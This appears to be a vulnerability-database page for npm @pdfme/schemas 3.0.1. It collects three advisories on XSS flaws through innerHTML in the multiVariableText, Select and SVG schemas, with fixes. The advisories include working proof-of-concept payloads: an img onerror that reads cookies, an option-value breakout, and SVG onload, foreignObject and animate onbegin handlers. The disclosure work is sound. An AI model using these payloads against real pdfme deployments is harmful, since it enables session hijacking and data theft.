Lookup for vulnerable packages by Package URL.

Purlpkg:npm/%40pdfme/schemas@3.0.1
Typenpm
Namespace@pdfme
Nameschemas
Version3.0.1
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version5.5.10
Latest_non_vulnerable_version5.5.10
Affected_by_vulnerabilities
0
url VCID-kxsk-fpuj-5uaw
vulnerability_id VCID-kxsk-fpuj-5uaw
summary
PDFME  has XSS via Unsanitized i18n Label Injection into innerHTML in multiVariableText propPanel
## Summary

The multiVariableText property panel in `@pdfme/schemas` constructs HTML via string concatenation and assigns it to `innerHTML` using unsanitized i18n label values. An attacker who can control label overrides passed through `options.labels` can inject arbitrary JavaScript that executes in the context of any user who opens the Designer and selects a multiVariableText field with no `{variables}` in its text.

## Details

When a user selects a multiVariableText schema field that contains no `{variable}` placeholders, the property panel renders instructional text by concatenating i18n-translated strings directly into `innerHTML`.

**Vulnerable sink** — `packages/schemas/src/multiVariableText/propPanel.ts:65-71`:

```typescript
// Use safe string concatenation for innerHTML
const typingInstructions = i18n('schemas.mvt.typingInstructions');
const sampleField = i18n('schemas.mvt.sampleField');
para.innerHTML =
  typingInstructions +
  ` <code style="color:${safeColorValue}; font-weight:bold;">{` +
  sampleField +
  '}</code>';
```

The comment on line 64 claims "safe string concatenation" but the result is assigned to `innerHTML` with no HTML escaping applied to `typingInstructions` or `sampleField`.

**i18n lookup has no escaping** — `packages/ui/src/i18n.ts:903`:

```typescript
export const i18n = (key: keyof Dict, dict?: Dict) => (dict || getDict(DEFAULT_LANG))[key];
```

This is a plain dictionary lookup — no HTML encoding or sanitization.

**Label override via deep merge** — `packages/ui/src/components/AppContextProvider.tsx:57-63`:

```typescript
let dict = getDict(lang);
if (options.labels) {
  dict = deepMerge(
    dict as unknown as Record<string, unknown>,
    options.labels as unknown as Record<string, unknown>,
  ) as typeof dict;
}
```

User-supplied `options.labels` values are deep-merged into the i18n dictionary with no content sanitization. The Zod schema validates labels as `z.record(z.string(), z.string())` — enforcing type but not content safety.

**Inconsistency:** The color value on lines 58-62 is explicitly validated with a regex allowlist, demonstrating security awareness. The i18n string values were simply overlooked.

## PoC

1. **Create a minimal app that passes attacker-controlled labels:**

```html
<html>
<body>
<div id="designer-container" style="width:100%;height:700px;"></div>
<script type="module">
import { Designer } from '@pdfme/ui';
import { multiVariableText } from '@pdfme/schemas';

const template = {
  basePdf: { width: 210, height: 297, padding: [10, 10, 10, 10] },
  schemas: [[{
    type: 'multiVariableText',
    name: 'field1',
    text: 'plain text with no variables',
    content: '{}',
    variables: [],
    position: { x: 20, y: 20 },
    width: 100,
    height: 20,
    readOnly: true,
  }]],
};

new Designer({
  domContainer: document.getElementById('designer-container'),
  template,
  plugins: { multiVariableText },
  options: {
    labels: {
      'schemas.mvt.typingInstructions':
        '<img src=x onerror="document.title=document.cookie">Inject: ',
      'schemas.mvt.sampleField': 'safe',
    },
  },
});
</script>
</body>
</html>
```

2. **Open the application in a browser.**

3. **Click on the multiVariableText field** (`field1`) in the Designer canvas to select it.

4. **Observe:** The property panel renders the injected HTML. The `onerror` handler executes, setting `document.title` to the page's cookies. In a real attack, this would exfiltrate session tokens to an attacker-controlled server.

## Impact

- **Session hijacking:** Attacker-injected JavaScript can steal authentication cookies and tokens from any user who opens the Designer.
- **DOM manipulation:** The injected script runs in the application's origin, allowing phishing overlays, form hijacking, or data exfiltration.
- **Stored XSS potential:** In multi-tenant applications where labels are stored in a database or fetched from an API, a single poisoned label entry affects all users who subsequently open the Designer.
- **Scope change:** The XSS payload executes in the embedding application's browser context, escaping the pdfme component's security boundary.

## Recommended Fix

Replace `innerHTML` with safe DOM APIs in `packages/schemas/src/multiVariableText/propPanel.ts`:

```typescript
// BEFORE (vulnerable):
para.innerHTML =
  typingInstructions +
  ` <code style="color:${safeColorValue}; font-weight:bold;">{` +
  sampleField +
  '}</code>';

// AFTER (safe):
para.appendChild(document.createTextNode(typingInstructions + ' '));
const codeEl = document.createElement('code');
codeEl.style.color = safeColorValue;
codeEl.style.fontWeight = 'bold';
codeEl.textContent = `{${sampleField}}`;
para.appendChild(codeEl);
```

This ensures that i18n label values are always treated as text content, never parsed as HTML, regardless of their source.
references
0
reference_url https://github.com/pdfme/pdfme
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pdfme/pdfme
1
reference_url https://github.com/pdfme/pdfme/security/advisories/GHSA-xgx4-2wgv-4jhm
reference_id
reference_type
scores
0
value 4.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pdfme/pdfme/security/advisories/GHSA-xgx4-2wgv-4jhm
2
reference_url https://github.com/advisories/GHSA-xgx4-2wgv-4jhm
reference_id GHSA-xgx4-2wgv-4jhm
reference_type
scores
url https://github.com/advisories/GHSA-xgx4-2wgv-4jhm
fixed_packages
0
url pkg:npm/%40pdfme/schemas@5.5.10
purl pkg:npm/%40pdfme/schemas@5.5.10
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/%2540pdfme/schemas@5.5.10
aliases GHSA-xgx4-2wgv-4jhm
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-kxsk-fpuj-5uaw
1
url VCID-p7h9-8dum-cybm
vulnerability_id VCID-p7h9-8dum-cybm
summary
Cross-Site Scripting (XSS) via Select Schema Option Value Injection in @pdfme/schemas
## Summary

The Select schema plugin in `@pdfme/schemas` constructs HTML from template-defined option values using unsanitized string interpolation and sets it via `innerHTML`, enabling arbitrary JavaScript execution.

## Details

In `packages/schemas/src/select/index.ts`, lines 159-164, the Select schema's `ui` renderer builds `<option>` elements by directly interpolating option values from the template into an HTML string:

```typescript
const options = Array.isArray(schema.options) ? schema.options : [];
selectElement.innerHTML = options
  .map(
    (option) =>
      `<option value="${option}" ${option === value ? 'selected' : ''}>${option}</option>`,
  )
  .join('');
```

The `option` values come from `schema.options`, which is an array of strings defined in the template JSON. These values are interpolated directly into the HTML string without any escaping of `<`, `>`, `"`, `&`, or other HTML-special characters. An option value containing `">` breaks out of the `value` attribute and allows injection of arbitrary HTML elements and event handlers.

## Proof of Concept

Loading the following template into a pdfme Form or Designer component triggers JavaScript execution:

```json
{
  "basePdf": { "width": 210, "height": 297, "padding": [20, 20, 20, 20] },
  "schemas": [[
    {
      "name": "malicious_select",
      "type": "select",
      "content": "Normal",
      "options": [
        "Normal",
        "\"></option><img src=x onerror=\"alert(document.domain)\">"
      ],
      "position": { "x": 20, "y": 20 },
      "width": 80,
      "height": 10
    }
  ]]
}
```

The injected `<img onerror>` element executes JavaScript because it is parsed as HTML when assigned to `selectElement.innerHTML`.

## Attack Vectors

The `options` array is defined in the template (not by form-filling end users). The attack requires a malicious template to be loaded, which can happen via:
1. File upload (e.g., "Load Template" functionality in applications)
2. Shared/imported templates in multi-tenant applications
3. Templates stored in databases without content sanitization
4. The `updateTemplate()` API being called with untrusted data

This vulnerability is triggered in Form mode (for non-readOnly select fields) and Designer mode when the select element is rendered.

## Impact

An attacker who can supply a malicious template can execute arbitrary JavaScript in the browser of any user who views or interacts with the template. This enables:
- Session hijacking via cookie/token theft
- Keylogging of form input data
- Phishing and page modification
- Data exfiltration

## Suggested Fix

Use DOM APIs to create option elements safely instead of string interpolation:

```typescript
options.forEach((option) => {
  const optionEl = document.createElement('option');
  optionEl.value = option;
  optionEl.textContent = option;
  if (option === value) optionEl.selected = true;
  selectElement.appendChild(optionEl);
});
```

Alternatively, HTML-encode option values before interpolation:
```typescript
const escape = (s) => s.replace(/&/g, '&amp;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
```
references
0
reference_url https://github.com/pdfme/pdfme
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pdfme/pdfme
1
reference_url https://github.com/pdfme/pdfme/security/advisories/GHSA-qq9g-96v4-m3cj
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pdfme/pdfme/security/advisories/GHSA-qq9g-96v4-m3cj
2
reference_url https://github.com/advisories/GHSA-qq9g-96v4-m3cj
reference_id GHSA-qq9g-96v4-m3cj
reference_type
scores
url https://github.com/advisories/GHSA-qq9g-96v4-m3cj
fixed_packages
0
url pkg:npm/%40pdfme/schemas@5.5.9
purl pkg:npm/%40pdfme/schemas@5.5.9
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-kxsk-fpuj-5uaw
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/%2540pdfme/schemas@5.5.9
aliases GHSA-qq9g-96v4-m3cj
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-p7h9-8dum-cybm
2
url VCID-r9pa-fc4s-p3a2
vulnerability_id VCID-r9pa-fc4s-p3a2
summary
Cross-Site Scripting (XSS) via SVG Schema innerHTML Injection in @pdfme/schemas
## Summary

The SVG schema plugin in `@pdfme/schemas` renders user-supplied SVG content using `container.innerHTML = value` without any sanitization, enabling arbitrary JavaScript execution in the user's browser.

## Details

In `packages/schemas/src/graphics/svg.ts`, line 87, the SVG schema's `ui` renderer assigns raw SVG markup directly to `innerHTML` when in viewer mode or form mode with `readOnly: true`:

```typescript
// svg.ts, line 81-94 (non-editable rendering path)
} else {
  if (!value) return;
  if (!isValidSVG(value)) {
    rootElement.appendChild(createErrorElm());
    return;
  }
  container.innerHTML = value;  // <-- VULNERABLE: unsanitized SVG injected into DOM
  const svgElement = container.childNodes[0];
  if (svgElement instanceof SVGElement) {
    svgElement.setAttribute('width', '100%');
    svgElement.setAttribute('height', '100%');
    rootElement.appendChild(container);
  }
}
```

The `isValidSVG()` function (lines 11-37) only validates that the string contains `<svg` and `</svg>` tags and passes `DOMParser` well-formedness checks. It does NOT strip or block:
- `<script>` tags embedded in SVG
- Event handler attributes (`onload`, `onerror`, `onclick`, etc.)
- `<foreignObject>` elements containing HTML with event handlers
- `<animate>` / `<set>` elements with `onbegin` / `onend` handlers
- SVG `<use>` elements referencing malicious external resources

All of these are valid SVG and pass `isValidSVG()`, but execute JavaScript when inserted via `innerHTML`.

## Attack Vectors

### 1. Malicious Template (readOnly SVG schema)
An attacker crafts a template JSON with a readOnly SVG schema containing a malicious `content` value. When loaded into the pdfme Form or Viewer component, the SVG executes JavaScript.

### 2. Application-Supplied Inputs + Viewer
If an application uses the pdfme Viewer component and passes user-controlled data as inputs for a non-readOnly SVG schema, the attacker's SVG flows directly to `innerHTML`.

## Proof of Concept

Loading the following template into a pdfme Form or Viewer component triggers JavaScript execution:

```json
{
  "basePdf": { "width": 210, "height": 297, "padding": [20, 20, 20, 20] },
  "schemas": [[
    {
      "name": "malicious_svg",
      "type": "svg",
      "content": "<svg xmlns='http://www.w3.org/2000/svg' onload='alert(document.domain)'><rect width='100' height='100' fill='red'/></svg>",
      "readOnly": true,
      "position": { "x": 20, "y": 20 },
      "width": 80,
      "height": 40
    }
  ]]
}
```

Additional payloads that bypass `isValidSVG()` and execute JavaScript:

```svg
<!-- Via foreignObject -->
<svg xmlns="http://www.w3.org/2000/svg"><foreignObject width="200" height="60"><body xmlns="http://www.w3.org/1999/xhtml"><img src="x" onerror="alert(1)"/></body></foreignObject></svg>

<!-- Via animate onbegin -->
<svg xmlns="http://www.w3.org/2000/svg"><rect width="100" height="100"><animate attributeName="x" values="0" dur="0.001s" onbegin="alert(1)"/></rect></svg>
```

## Impact

An attacker who can supply a malicious template (via file upload, shared template URL, multi-tenant template storage, or `updateTemplate()` API) can execute arbitrary JavaScript in the context of any user who views or fills the template. This enables:
- Session hijacking via cookie/token theft
- Keylogging of form inputs (including sensitive data being entered into PDF forms)
- Phishing attacks by modifying the rendered page
- Data exfiltration from the application

The attack is particularly concerning for multi-tenant SaaS applications using pdfme where templates may be user-supplied.

## Suggested Fix

Sanitize SVG content before DOM insertion using DOMPurify or a similar library:

```typescript
import DOMPurify from 'dompurify';

// Replace line 87:
container.innerHTML = DOMPurify.sanitize(value, { USE_PROFILES: { svg: true } });
```

Alternatively, parse the SVG via `DOMParser`, strip all script elements and event handler attributes, then append the sanitized DOM nodes.
references
0
reference_url https://github.com/pdfme/pdfme
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pdfme/pdfme
1
reference_url https://github.com/pdfme/pdfme/security/advisories/GHSA-87v3-4cfp-cm76
reference_id
reference_type
scores
0
value 6.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/pdfme/pdfme/security/advisories/GHSA-87v3-4cfp-cm76
2
reference_url https://github.com/advisories/GHSA-87v3-4cfp-cm76
reference_id GHSA-87v3-4cfp-cm76
reference_type
scores
url https://github.com/advisories/GHSA-87v3-4cfp-cm76
fixed_packages
0
url pkg:npm/%40pdfme/schemas@5.5.9
purl pkg:npm/%40pdfme/schemas@5.5.9
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-kxsk-fpuj-5uaw
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/%2540pdfme/schemas@5.5.9
aliases GHSA-87v3-4cfp-cm76
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-r9pa-fc4s-p3a2
Fixing_vulnerabilities
Risk_scorenull
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/%2540pdfme/schemas@3.0.1